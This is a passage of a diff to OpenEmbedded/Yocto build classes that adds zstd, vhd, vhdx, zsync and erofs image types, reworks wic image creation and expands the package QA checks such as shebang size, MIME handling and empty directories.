ubi ubifs multiubi \
- tar tar.gz tar.bz2 tar.xz tar.lz4 \
- cpio cpio.gz cpio.xz cpio.lzma cpio.lz4 \
- wic wic.gz wic.bz2 wic.lzma \
+ tar tar.gz tar.bz2 tar.xz tar.lz4 tar.zst \
+ cpio cpio.gz cpio.xz cpio.lzma cpio.lz4 cpio.zst \
+ wic wic.gz wic.bz2 wic.lzma wic.zst \
container \
f2fs \
+ erofs erofs-lz4 erofs-lz4hc \
"
# Compression is a special case of conversion. The old variable
@@ -282,27 +282,32 @@ IMAGE_TYPES = " \
# CONVERSION_CMD/DEPENDS.
COMPRESSIONTYPES ?= ""
-CONVERSIONTYPES = "gz bz2 lzma xz lz4 lzo zip sum md5sum sha1sum sha224sum sha256sum sha384sum sha512sum bmap u-boot vmdk vdi qcow2 base64 ${COMPRESSIONTYPES}"
-CONVERSION_CMD_lzma = "lzma -k -f -7 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_gz = "gzip -f -9 -n -c --rsyncable ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.gz"
-CONVERSION_CMD_bz2 = "pbzip2 -f -k ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_xz = "xz -f -k -c ${XZ_COMPRESSION_LEVEL} ${XZ_DEFAULTS} --check=${XZ_INTEGRITY_CHECK} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.xz"
-CONVERSION_CMD_lz4 = "lz4 -9 -z -l ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.lz4"
-CONVERSION_CMD_lzo = "lzop -9 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_zip = "zip ${ZIP_COMPRESSION_LEVEL} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.zip ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_sum = "sumtool -i ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sum ${JFFS2_SUM_EXTRA_ARGS}"
-CONVERSION_CMD_md5sum = "md5sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.md5sum"
-CONVERSION_CMD_sha1sum = "sha1sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha1sum"
-CONVERSION_CMD_sha224sum = "sha224sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha224sum"
-CONVERSION_CMD_sha256sum = "sha256sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha256sum"
-CONVERSION_CMD_sha384sum = "sha384sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha384sum"
-CONVERSION_CMD_sha512sum = "sha512sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha512sum"
-CONVERSION_CMD_bmap = "bmaptool create ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.bmap"
-CONVERSION_CMD_u-boot = "mkimage -A ${UBOOT_ARCH} -O linux -T ramdisk -C none -n ${IMAGE_NAME} -d ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.u-boot"
-CONVERSION_CMD_vmdk = "qemu-img convert -O vmdk ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vmdk"
-CONVERSION_CMD_vdi = "qemu-img convert -O vdi ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vdi"
-CONVERSION_CMD_qcow2 = "qemu-img convert -O qcow2 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.qcow2"
-CONVERSION_CMD_base64 = "base64 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.base64"
+CONVERSIONTYPES = "gz bz2 lzma xz lz4 lzo zip zst sum md5sum sha1sum sha224sum sha256sum sha384sum sha512sum bmap u-boot vmdk vhd vhdx vdi qcow2 base64 gzsync zsync ${COMPRESSIONTYPES}"
+CONVERSION_CMD:lzma = "lzma -k -f -7 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:gz = "gzip -f -9 -n -c --rsyncable ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.gz"
+CONVERSION_CMD:bz2 = "pbzip2 -f -k ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:xz = "xz -f -k -c ${XZ_COMPRESSION_LEVEL} ${XZ_DEFAULTS} --check=${XZ_INTEGRITY_CHECK} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.xz"
+CONVERSION_CMD:lz4 = "lz4 -9 -z -l ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.lz4"
+CONVERSION_CMD:lzo = "lzop -9 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:zip = "zip ${ZIP_COMPRESSION_LEVEL} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.zip ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:zst = "zstd -f -k -T0 -c ${ZSTD_COMPRESSION_LEVEL} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.zst"
+CONVERSION_CMD:sum = "sumtool -i ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sum ${JFFS2_SUM_EXTRA_ARGS}"
+CONVERSION_CMD:md5sum = "md5sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.md5sum"
+CONVERSION_CMD:sha1sum = "sha1sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha1sum"
+CONVERSION_CMD:sha224sum = "sha224sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha224sum"
+CONVERSION_CMD:sha256sum = "sha256sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha256sum"
+CONVERSION_CMD:sha384sum = "sha384sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha384sum"
+CONVERSION_CMD:sha512sum = "sha512sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha512sum"
+CONVERSION_CMD:bmap = "bmaptool create ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.bmap"
+CONVERSION_CMD:u-boot = "mkimage -A ${UBOOT_ARCH} -O linux -T ramdisk -C none -n ${IMAGE_NAME} -d ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.u-boot"
+CONVERSION_CMD:vmdk = "qemu-img convert -O vmdk ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vmdk"
+CONVERSION_CMD:vhdx = "qemu-img convert -O vhdx -o subformat=dynamic ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vhdx"
+CONVERSION_CMD:vhd = "qemu-img convert -O vpc -o subformat=fixed ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vhd"
+CONVERSION_CMD:vdi = "qemu-img convert -O vdi ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vdi"
+CONVERSION_CMD:qcow2 = "qemu-img convert -O qcow2 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.qcow2"
+CONVERSION_CMD:base64 = "base64 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.base64"
+CONVERSION_CMD:zsync = "zsyncmake_curl ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:gzsync = "zsyncmake_curl -z ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
CONVERSION_DEPENDS_lzma = "xz-native"
CONVERSION_DEPENDS_gz = "pigz-native"
CONVERSION_DEPENDS_bz2 = "pbzip2-native"
@@ -310,6 +315,7 @@ CONVERSION_DEPENDS_xz = "xz-native"
CONVERSION_DEPENDS_lz4 = "lz4-native"
CONVERSION_DEPENDS_lzo = "lzop-native"
CONVERSION_DEPENDS_zip = "zip-native"
+CONVERSION_DEPENDS_zst = "zstd-native"
CONVERSION_DEPENDS_sum = "mtd-utils-native"
CONVERSION_DEPENDS_bmap = "bmap-tools-native"
CONVERSION_DEPENDS_u-boot = "u-boot-tools-native"
@@ -317,14 +323,18 @@ CONVERSION_DEPENDS_vmdk = "qemu-system-native"
CONVERSION_DEPENDS_vdi = "qemu-system-native"
CONVERSION_DEPENDS_qcow2 = "qemu-system-native"
CONVERSION_DEPENDS_base64 = "coreutils-native"
+CONVERSION_DEPENDS_vhdx = "qemu-system-native"
+CONVERSION_DEPENDS_vhd = "qemu-system-native"
+CONVERSION_DEPENDS_zsync = "zsync-curl-native"
+CONVERSION_DEPENDS_gzsync = "zsync-curl-native"
RUNNABLE_IMAGE_TYPES ?= "ext2 ext3 ext4"
RUNNABLE_MACHINE_PATTERNS ?= "qemu"
-DEPLOYABLE_IMAGE_TYPES ?= "hddimg iso"
+DEPLOYABLE_IMAGE_TYPES ?= "hddimg iso"
# The IMAGE_TYPES_MASKED variable will be used to mask out from the IMAGE_FSTYPES,
-# images that will not be built at do_rootfs time: vmdk, vdi, qcow2, hddimg, iso, etc.
+# images that will not be built at do_rootfs time: vmdk, vhd, vhdx, vdi, qcow2, hddimg, iso, etc.
IMAGE_TYPES_MASKED ?= ""
# bmap requires python3 to be in the PATH
diff --git a/meta/classes/image_types_wic.bbclass b/meta/classes/image_types_wic.bbclass
index f350dc2723..e3863c88a9 100644
--- a/meta/classes/image_types_wic.bbclass
+++ b/meta/classes/image_types_wic.bbclass
@@ -1,10 +1,36 @@
# The WICVARS variable is used to define list of bitbake variables used in wic code
# variables from this list is written to <image>.env file
WICVARS ?= "\
- BBLAYERS IMGDEPLOYDIR DEPLOY_DIR_IMAGE FAKEROOTCMD IMAGE_BASENAME IMAGE_BOOT_FILES \
- IMAGE_LINK_NAME IMAGE_ROOTFS INITRAMFS_FSTYPES INITRD INITRD_LIVE ISODIR RECIPE_SYSROOT_NATIVE \
- ROOTFS_SIZE STAGING_DATADIR STAGING_DIR STAGING_LIBDIR TARGET_SYS \
- KERNEL_IMAGETYPE MACHINE INITRAMFS_IMAGE INITRAMFS_IMAGE_BUNDLE INITRAMFS_LINK_NAME"
+ APPEND \
+ ASSUME_PROVIDED \
+ BBLAYERS \
+ DEPLOY_DIR_IMAGE \
+ FAKEROOTCMD \
+ HOSTTOOLS_DIR \
+ IMAGE_BASENAME \
+ IMAGE_BOOT_FILES \
+ IMAGE_EFI_BOOT_FILES \
+ IMAGE_LINK_NAME \
+ IMAGE_ROOTFS \
+ IMGDEPLOYDIR \
+ INITRAMFS_FSTYPES \
+ INITRAMFS_IMAGE \
+ INITRAMFS_IMAGE_BUNDLE \
+ INITRAMFS_LINK_NAME \
+ INITRD \
+ INITRD_LIVE \
+ ISODIR \
+ KERNEL_IMAGETYPE \
+ MACHINE \
+ PSEUDO_IGNORE_PATHS \
+ RECIPE_SYSROOT_NATIVE \
+ ROOTFS_SIZE \
+ STAGING_DATADIR \
+ STAGING_DIR \
+ STAGING_DIR_HOST \
+ STAGING_LIBDIR \
+ TARGET_SYS \
+"
inherit ${@bb.utils.contains('INITRAMFS_IMAGE_BUNDLE', '1', 'kernel-artifact-names', '', d)}
@@ -25,18 +51,26 @@ def wks_search(files, search_path):
WIC_CREATE_EXTRA_ARGS ?= ""
-IMAGE_CMD_wic () {
+IMAGE_CMD:wic () {
out="${IMGDEPLOYDIR}/${IMAGE_NAME}"
+ build_wic="${WORKDIR}/build-wic"
+ tmp_wic="${WORKDIR}/tmp-wic"
wks="${WKS_FULL_PATH}"
+ if [ -e "$tmp_wic" ]; then
+ # Ensure we don't have any junk leftover from a previously interrupted
+ # do_image_wic execution
+ rm -rf "$tmp_wic"
+ fi
if [ -z "$wks" ]; then
bbfatal "No kickstart files from WKS_FILES were found: ${WKS_FILES}. Please set WKS_FILE or WKS_FILES appropriately."
fi
-
- BUILDDIR="${TOPDIR}" wic create "$wks" --vars "${STAGING_DIR}/${MACHINE}/imgdata/" -e "${IMAGE_BASENAME}" -o "$out/" ${WIC_CREATE_EXTRA_ARGS}
- mv "$out/$(basename "${wks%.wks}")"*.direct "$out${IMAGE_NAME_SUFFIX}.wic"
- rm -rf "$out/"
+ BUILDDIR="${TOPDIR}" PSEUDO_UNLOAD=1 wic create "$wks" --vars "${STAGING_DIR}/${MACHINE}/imgdata/" -e "${IMAGE_BASENAME}" -o "$build_wic/" -w "$tmp_wic" ${WIC_CREATE_EXTRA_ARGS}
+ mv "$build_wic/$(basename "${wks%.wks}")"*.direct "$out${IMAGE_NAME_SUFFIX}.wic"
}
-IMAGE_CMD_wic[vardepsexclude] = "WKS_FULL_PATH WKS_FILES TOPDIR"
+IMAGE_CMD:wic[vardepsexclude] = "WKS_FULL_PATH WKS_FILES TOPDIR"
+do_image_wic[cleandirs] = "${WORKDIR}/build-wic"
+
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/build-wic"
# Rebuild when the wks file or vars in WICVARS change
USING_WIC = "${@bb.utils.contains_any('IMAGE_FSTYPES', 'wic ' + ' '.join('wic.%s' % c for c in '${CONVERSIONTYPES}'.split()), '1', '', d)}"
@@ -46,13 +80,14 @@ do_image_wic[depends] += "${@' '.join('%s-native:do_populate_sysroot' % r for r
# We ensure all artfacts are deployed (e.g virtual/bootloader)
do_image_wic[recrdeptask] += "do_deploy"
+do_image_wic[deptask] += "do_image_complete"
WKS_FILE_DEPENDS_DEFAULT = '${@bb.utils.contains_any("BUILD_ARCH", [ 'x86_64', 'i686' ], "syslinux-native", "",d)}'
WKS_FILE_DEPENDS_DEFAULT += "bmap-tools-native cdrtools-native btrfs-tools-native squashfs-tools-native e2fsprogs-native"
WKS_FILE_DEPENDS_BOOTLOADERS = ""
-WKS_FILE_DEPENDS_BOOTLOADERS_x86 = "syslinux grub-efi systemd-boot"
-WKS_FILE_DEPENDS_BOOTLOADERS_x86-64 = "syslinux grub-efi systemd-boot"
-WKS_FILE_DEPENDS_BOOTLOADERS_x86-x32 = "syslinux grub-efi"
+WKS_FILE_DEPENDS_BOOTLOADERS:x86 = "syslinux grub-efi systemd-boot os-release"
+WKS_FILE_DEPENDS_BOOTLOADERS:x86-64 = "syslinux grub-efi systemd-boot os-release"
+WKS_FILE_DEPENDS_BOOTLOADERS:x86-x32 = "syslinux grub-efi"
WKS_FILE_DEPENDS ??= "${WKS_FILE_DEPENDS_DEFAULT} ${WKS_FILE_DEPENDS_BOOTLOADERS}"
@@ -84,6 +119,10 @@ python do_write_wks_template () {
bb.utils.copyfile(wks_file, "%s/%s" % (depdir, basename + '-' + os.path.basename(wks_file)))
}
+do_flush_pseudodb() {
+ ${FAKEROOTENV} ${FAKEROOTCMD} -S
+}
+
python () {
if d.getVar('USING_WIC'):
wks_file_u = d.getVar('WKS_FULL_PATH', False)
@@ -137,6 +176,7 @@ python do_rootfs_wicenv () {
depdir = d.getVar('IMGDEPLOYDIR')
bb.utils.copyfile(os.path.join(outdir, basename) + '.env', os.path.join(depdir, basename) + '.env')
}
+addtask do_flush_pseudodb after do_rootfs before do_image do_image_qa
addtask do_rootfs_wicenv after do_image before do_image_wic
do_rootfs_wicenv[vardeps] += "${WICVARS}"
do_rootfs_wicenv[prefuncs] = 'set_image_size'
diff --git a/meta/classes/insane.bbclass b/meta/classes/insane.bbclass
index 9605ac2bae..0deebdb148 100644
--- a/meta/classes/insane.bbclass
+++ b/meta/classes/insane.bbclass
@@ -18,26 +18,29 @@
# files under exec_prefix
# -Check if the package name is upper case
-QA_SANE = "True"
-
# Elect whether a given type of error is a warning or error, they may
# have been set by other files.
-WARN_QA ?= "ldflags useless-rpaths rpaths staticdev libdir xorg-driver-abi \
- textrel already-stripped incompatible-license files-invalid \
- installed-vs-shipped compile-host-path install-host-path \
- pn-overrides infodir build-deps src-uri-bad \
- unknown-configure-option symlink-to-sysroot multilib \
+WARN_QA ?= " libdir xorg-driver-abi \
+ textrel incompatible-license files-invalid \
+ infodir build-deps src-uri-bad symlink-to-sysroot multilib \
invalid-packageconfig host-user-contaminated uppercase-pn patch-fuzz \
+ mime mime-xdg unlisted-pkg-lics unhandled-features-check \
+ missing-update-alternatives native-last missing-ptest \
+ license-exists license-no-generic license-syntax license-format \
+ license-incompatible license-file-missing obsolete-license \
"
ERROR_QA ?= "dev-so debug-deps dev-deps debug-files arch pkgconfig la \
perms dep-cmp pkgvarcheck perm-config perm-line perm-link \
split-strip packages-list pkgv-undefined var-undefined \
version-going-backwards expanded-d invalid-chars \
license-checksum dev-elf file-rdeps configure-unsafe \
- configure-gettext perllocalpod \
+ configure-gettext perllocalpod shebang-size \
+ already-stripped installed-vs-shipped ldflags compile-host-path \
+ install-host-path pn-overrides unknown-configure-option \
+ useless-rpaths rpaths staticdev empty-dirs \
"
# Add usrmerge QA check based on distro feature
-ERROR_QA_append = "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', ' usrmerge', '', d)}"
+ERROR_QA:append = "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', ' usrmerge', '', d)}"
FAKEROOT_QA = "host-user-contaminated"
FAKEROOT_QA[doc] = "QA tests which need to run under fakeroot. If any \
@@ -45,7 +48,22 @@ enabled tests are listed here, the do_package_qa task will run under fakeroot."
ALL_QA = "${WARN_QA} ${ERROR_QA}"
-UNKNOWN_CONFIGURE_WHITELIST ?= "--enable-nls --disable-nls --disable-silent-rules --disable-dependency-tracking --with-libtool-sysroot --disable-static"
+UNKNOWN_CONFIGURE_OPT_IGNORE ?= "--enable-nls --disable-nls --disable-silent-rules --disable-dependency-tracking --with-libtool-sysroot --disable-static"
+
+# This is a list of directories that are expected to be empty.
+QA_EMPTY_DIRS ?= " \
+ /dev/pts \
+ /media \
+ /proc \
+ /run \
+ /tmp \
+ ${localstatedir}/run \
+ ${localstatedir}/volatile \
+"
+# It is possible to specify why a directory is expected to be empty by defining
+# QA_EMPTY_DIRS_RECOMMENDATION:<path>, which will then be included in the error
+# message if the directory is not empty. If it is not specified for a directory,
+# then "but it is expected to be empty" will be used.
def package_qa_clean_path(path, d, pkg=None):
"""
@@ -56,31 +74,29 @@ def package_qa_clean_path(path, d, pkg=None):
path = path.replace(os.path.join(d.getVar("PKGDEST"), pkg), "/")
return path.replace(d.getVar("TMPDIR"), "/").replace("//", "/")
-def package_qa_write_error(type, error, d):
- logfile = d.getVar('QA_LOGFILE')
- if logfile:
- p = d.getVar('P')
- with open(logfile, "a+") as f:
- f.write("%s: %s [%s]\n" % (p, error, type))
-
-def package_qa_handle_error(error_class, error_msg, d):
- if error_class in (d.getVar("ERROR_QA") or "").split():
- package_qa_write_error(error_class, error_msg, d)
- bb.error("QA Issue: %s [%s]" % (error_msg, error_class))
- d.setVar("QA_SANE", False)
- return False
- elif error_class in (d.getVar("WARN_QA") or "").split():
- package_qa_write_error(error_class, error_msg, d)
- bb.warn("QA Issue: %s [%s]" % (error_msg, error_class))
- else:
- bb.note("QA Issue: %s [%s]" % (error_msg, error_class))
- return True
+QAPATHTEST[shebang-size] = "package_qa_check_shebang_size"
+def package_qa_check_shebang_size(path, name, d, elf, messages):
+ import stat
+ if os.path.islink(path) or stat.S_ISFIFO(os.stat(path).st_mode) or elf:
+ return
-def package_qa_add_message(messages, section, new_msg):
- if section not in messages:
- messages[section] = new_msg
- else:
- messages[section] = messages[section] + "\n" + new_msg
+ try:
+ with open(path, 'rb') as f:
+ stanza = f.readline(130)
+ except IOError:
+ return
+
+ if stanza.startswith(b'#!'):
+ #Shebang not found
+ try:
+ stanza = stanza.decode("utf-8")
+ except UnicodeDecodeError:
+ #If it is not a text file, it is not a script
+ return
+
+ if len(stanza) > 129:
+ oe.qa.add_message(messages, "shebang-size", "%s: %s maximum shebang size exceeded, the maximum size is 128." % (name, package_qa_clean_path(path, d)))
+ return
QAPATHTEST[libexec] = "package_qa_check_libexec"
def package_qa_check_libexec(path,name, d, elf, messages):
@@ -91,7 +107,7 @@ def package_qa_check_libexec(path,name, d, elf, messages):
return True
if 'libexec' in path.split(os.path.sep):
- package_qa_add_message(messages, "libexec", "%s: %s is using libexec please relocate to %s" % (name, package_qa_clean_path(path, d), libexec))
+ oe.qa.add_message(messages, "libexec", "%s: %s is using libexec please relocate to %s" % (name, package_qa_clean_path(path, d), libexec))
return False
return True
@@ -119,7 +135,7 @@ def package_qa_check_rpath(file,name, d, elf, messages):
rpath = m.group(1)
for dir in bad_dirs:
if dir in rpath:
- package_qa_add_message(messages, "rpaths", "package %s contains bad RPATH %s in file %s" % (name, rpath, file))
+ oe.qa.add_message(messages, "rpaths", "package %s contains bad RPATH %s in file %s" % (name, rpath, file))
QAPATHTEST[useless-rpaths] = "package_qa_check_useless_rpaths"
def package_qa_check_useless_rpaths(file, name, d, elf, messages):
@@ -149,7 +165,7 @@ def package_qa_check_useless_rpaths(file, name, d, elf, messages):
if rpath_eq(rpath, libdir) or rpath_eq(rpath, base_libdir):
# The dynamic linker searches both these places anyway. There is no point in
# looking there again.
- package_qa_add_message(messages, "useless-rpaths", "%s: %s contains probably-redundant RPATH %s" % (name, package_qa_clean_path(file, d), rpath))
+ oe.qa.add_message(messages, "useless-rpaths", "%s: %s contains probably-redundant RPATH %s" % (name, package_qa_clean_path(file, d, name), rpath))
QAPATHTEST[dev-so] = "package_qa_check_dev"
def package_qa_check_dev(path, name, d, elf, messages):
@@ -158,8 +174,8 @@ def package_qa_check_dev(path, name, d, elf, messages):
"""
if not name.endswith("-dev") and not name.endswith("-dbg") and not name.endswith("-ptest") and not name.startswith("nativesdk-") and path.endswith(".so") and os.path.islink(path):
- package_qa_add_message(messages, "dev-so", "non -dev/-dbg/nativesdk- package contains symlink .so: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
+ oe.qa.add_message(messages, "dev-so", "non -dev/-dbg/nativesdk- package %s contains symlink .so '%s'" % \
+ (name, package_qa_clean_path(path, d, name)))
QAPATHTEST[dev-elf] = "package_qa_check_dev_elf"
def package_qa_check_dev_elf(path, name, d, elf, messages):
@@ -169,8 +185,8 @@ def package_qa_check_dev_elf(path, name, d, elf, messages):
install link-time .so files that are linker scripts.
"""
if name.endswith("-dev") and path.endswith(".so") and not os.path.islink(path) and elf:
- package_qa_add_message(messages, "dev-elf", "-dev package contains non-symlink .so: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
+ oe.qa.add_message(messages, "dev-elf", "-dev package %s contains non-symlink .so '%s'" % \
+ (name, package_qa_clean_path(path, d, name)))
QAPATHTEST[staticdev] = "package_qa_check_staticdev"
def package_qa_check_staticdev(path, name, d, elf, messages):
@@ -181,10 +197,50 @@ def package_qa_check_staticdev(path, name, d, elf, messages):
libgcc.a, libgcov.a will be skipped in their packages
"""
- if not name.endswith("-pic") and not name.endswith("-staticdev") and not name.endswith("-ptest") and path.endswith(".a") and not path.endswith("_nonshared.a"):
- package_qa_add_message(messages, "staticdev", "non -staticdev package contains static .a library: %s path '%s'" % \
+ if not name.endswith("-pic") and not name.endswith("-staticdev") and not name.endswith("-ptest") and path.endswith(".a") and not path.endswith("_nonshared.a") and not '/usr/lib/debug-static/' in path and not '/.debug-static/' in path:
+ oe.qa.add_message(messages, "staticdev", "non -staticdev package contains static .a library: %s path '%s'" % \
+ (name, package_qa_clean_path(path,d, name)))
+
+QAPATHTEST[mime] = "package_qa_check_mime"
+def package_qa_check_mime(path, name, d, elf, messages):
+ """
+ Check if package installs mime types to /usr/share/mime/packages
+ while no inheriting mime.bbclass
+ """
+
+ if d.getVar("datadir") + "/mime/packages" in path and path.endswith('.xml') and not bb.data.inherits_class("mime", d):
+ oe.qa.add_message(messages, "mime", "package contains mime types but does not inherit mime: %s path '%s'" % \
(name, package_qa_clean_path(path,d)))
+QAPATHTEST[mime-xdg] = "package_qa_check_mime_xdg"
+def package_qa_check_mime_xdg(path, name, d, elf, messages):
+ """
+ Check if package installs desktop file containing MimeType and requires
+ mime-types.bbclass to create /usr/share/applications/mimeinfo.cache
+ """
+
+ if d.getVar("datadir") + "/applications" in path and path.endswith('.desktop') and not bb.data.inherits_class("mime-xdg", d):
+ mime_type_found = False
+ try:
+ with open(path, 'r') as f:
+ for line in f.read().split('\n'):
+ if 'MimeType' in line:
+ mime_type_found = True
+ break;
+ except:
+ # At least libreoffice installs symlinks with absolute paths that are dangling here.
+ # We could implement some magic but for few (one) recipes it is not worth the effort so just warn:
+ wstr = "%s cannot open %s - is it a symlink with absolute path?\n" % (name, package_qa_clean_path(path,d))
+ wstr += "Please check if (linked) file contains key 'MimeType'.\n"
+ pkgname = name
+ if name == d.getVar('PN'):
+ pkgname = '${PN}'
+ wstr += "If yes: add \'inhert mime-xdg\' and \'MIME_XDG_PACKAGES += \"%s\"\' / if no add \'INSANE_SKIP:%s += \"mime-xdg\"\' to recipe." % (pkgname, pkgname)
+ oe.qa.add_message(messages, "mime-xdg", wstr)
+ if mime_type_found:
+ oe.qa.add_message(messages, "mime-xdg", "package contains desktop file with key 'MimeType' but does not inhert mime-xdg: %s path '%s'" % \
+ (name, package_qa_clean_path(path,d)))
+
def package_qa_check_libdir(d):
"""
Check for wrong library installation paths. For instance, catch
@@ -212,7 +268,7 @@ def package_qa_check_libdir(d):
# Skip subdirectories for any packages with libdir in INSANE_SKIP
skippackages = []
for package in dirs:
- if 'libdir' in (d.getVar('INSANE_SKIP_' + package) or "").split():
+ if 'libdir' in (d.getVar('INSANE_SKIP:' + package) or "").split():
bb.note("Package %s skipping libdir QA test" % (package))
skippackages.append(package)
elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-file-directory' and package.endswith("-dbg"):
@@ -246,7 +302,7 @@ def package_qa_check_libdir(d):
pass
if messages:
- package_qa_handle_error("libdir", "\n".join(messages), d)
+ oe.qa.handle_error("libdir", "\n".join(messages), d)
QAPATHTEST[debug-files] = "package_qa_check_dbg"
def package_qa_check_dbg(path, name, d, elf, messages):
@@ -256,7 +312,7 @@ def package_qa_check_dbg(path, name, d, elf, messages):
if not "-dbg" in name and not "-ptest" in name:
if '.debug' in path.split(os.path.sep):
- package_qa_add_message(messages, "debug-files", "non debug package contains .debug directory: %s path %s" % \
+ oe.qa.add_message(messages, "debug-files", "non debug package contains .debug directory: %s path %s" % \
(name, package_qa_clean_path(path,d)))
QAPATHTEST[arch] = "package_qa_check_arch"
@@ -269,14 +325,14 @@ def package_qa_check_arch(path,name,d, elf, messages):
if not elf:
return
- target_os = d.getVar('TARGET_OS')
- target_arch = d.getVar('TARGET_ARCH')
+ target_os = d.getVar('HOST_OS')
+ target_arch = d.getVar('HOST_ARCH')
provides = d.getVar('PROVIDES')
bpn = d.getVar('BPN')
if target_arch == "allarch":
pn = d.getVar('PN')
- package_qa_add_message(messages, "arch", pn + ": Recipe inherits the allarch class, but has packaged architecture-specific binaries")
+ oe.qa.add_message(messages, "arch", pn + ": Recipe inherits the allarch class, but has packaged architecture-specific binaries")
return
# FIXME: Cross package confuse this check, so just skip them
@@ -299,14 +355,14 @@ def package_qa_check_arch(path,name,d, elf, messages):
target_os == "linux-gnu_ilp32" or re.match(r'mips64.*32', d.getVar('DEFAULTTUNE')))
is_bpf = (oe.qa.elf_machine_to_string(elf.machine()) == "BPF")
